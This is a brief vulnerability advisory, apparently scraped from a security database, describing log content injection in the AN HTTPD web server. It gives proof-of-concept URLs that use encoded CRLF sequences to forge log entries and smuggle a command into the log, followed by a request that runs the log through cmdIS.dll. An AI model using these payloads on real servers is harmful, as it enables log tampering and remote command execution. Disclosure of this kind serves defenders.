|
AN HTTPD Arbitrary Log Content Injection Vulnerability
An exploit is not required. The following proof of concept examples are available: http://www.example.com/a%20HTTP/1.0"%20200%202048%0d%0a255.255.255.255%20-%20-%20[06/Mar/2005%3a22%3a31%3a11%20+0800]%20"GET%20/hack http://www.example.com/%0d%0atype%20cgi-bin%5Ctest.bat To parse a command through 'cmdIS.DLL': http://www.example.com/scripts/cmdIS.dll/httpd.log |
|
 Privacy Statement |
